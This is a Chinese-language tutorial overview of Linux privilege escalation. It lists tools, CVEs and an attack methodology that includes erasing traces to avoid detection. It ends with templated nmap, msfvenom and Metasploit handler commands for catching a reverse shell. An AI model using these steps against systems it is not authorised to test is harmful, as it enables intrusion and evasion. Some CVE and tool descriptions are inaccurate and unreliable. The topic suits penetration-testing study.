您的位置:

Linux提权指南

一、Linux提权命令

1、sudo: 允许普通用户以超级用户的身份进行操作。

  $ sudo {command}

2、su: 切换用户,可用来切换到root用户。

  $ su

3、chmod: 修改文件/目录的权限。

  $ chmod {mode} {file}

二、Linux提权渗透

1、Dirty COW漏洞:通过修改系统中可写的文件,控制变量达到提权的目的。

2、提权脚本:使用已经编写好的脚本进行提权,如LinEnum.sh。

3、提权预编译二进制文件:使用已经编译好的二进制文件进行提权,如Linux Exploit Suggester。

三、Linux提权方式

1、内核漏洞:exploit通过C/C++语言编写,可针对具体漏洞进行利用。

2、提权程序:使用已经提供的程序进行提权,如提权脚本、二进制文件。

3、缓冲区溢出:利用代码中存在的漏洞,将溢出的数据作为可执行代码来执行。

四、Linux提权环境

1、Ubuntu 18.04 LTS

2、CentOS 7

3、Kali Linux 2020.4

五、Linux提权漏洞

1、CVE-2016-5195(Dirty COW)漏洞

2、Linux内核提权漏洞(如 CVE-2015-3636、CVE-2017-16995、CVE-2019-7304)

3、OpenSSH提权漏洞(如 CVE-2018-15473)

六、Linux提权工具

1、LinEnum: 可以对系统进行详细的信息收集,包括系统版本、内核版本、用户、进程信息等;

2、Linux Exploit Suggester: 可以根据当前系统的内核版本,快速搜索存在的漏洞和可利用的工具;

3、Metasploit: 特别适合在渗透测试中使用,可以对系统进行扫描和攻击,并且提供多种攻击利用模块。

七、Linux提权思路

1、信息收集:先了解目标机器的详细信息,包括操作系统、内核版本、进程信息等;

2、寻找或制作漏洞:寻找可利用的漏洞,也可以根据现有的漏洞制作对应的攻击工具;

3、利用漏洞:将制作好的工具或漏洞利用代码运行在目标机器上;

4、获取提权权限:在得到目标机器的控制权后,根据需要获取对应的提权权限;

5、精心打扫痕迹:清理操作痕迹,保证攻击不被发现。

八、Linux提权方法

1、通过提权脚本进行提权;

2、使用编译漏洞攻击程序进行提权;

3、在目标机器上编写可执行代码,以提权的方式获取权限;

4、使用Metasploit等工具,通过漏洞进行提权。

九、Linux提权检测引擎

1、AppArmor: 一个安全增强的Linux内核模块,能够控制程序运行时的安全访问。

2、SELinux: 安全增强的Linux内核安全功能模块,能够强制执行访问策略。

3、Grsecurity: 可以提供系统级别的攻击保护,并可以检测和防止各种攻击。

十、Msf提权Linux

使用Metasploit进行Linux提权,需要进行如下步骤:

1、通过nmap扫描目标机器并确定漏洞;

  $ nmap -sS -sV -p- {ip}

2、针对特定的漏洞生成payload;

  $ msfvenom -p {payload type} LHOST={address} LPORT={port} -f {format} {filename}

3、启动Payload Handler,准备接收反弹Shell;

  $ msfconsole
  msf5 > use exploit/multi/handler
  msf5 exploit(multi/handler) > set payload {payload type}
  msf5 exploit(multi/handler) > set LHOST {address}
  msf5 exploit(multi/handler) > set LPORT {port}
  msf5 exploit(multi/handler) > run

4、发送Payload至目标机器并获取控制权。

  $ msfconsole
  msf5 > use exploit/{exploit module}
  msf5 exploit({exploit module}) > set RHOST {address}
  msf5 exploit({exploit module}) > set payload {payload type}
  msf5 exploit({exploit module}) > set LHOST {address}
  msf5 exploit({exploit module}) > set LPORT {port}
  msf5 exploit({exploit module}) > run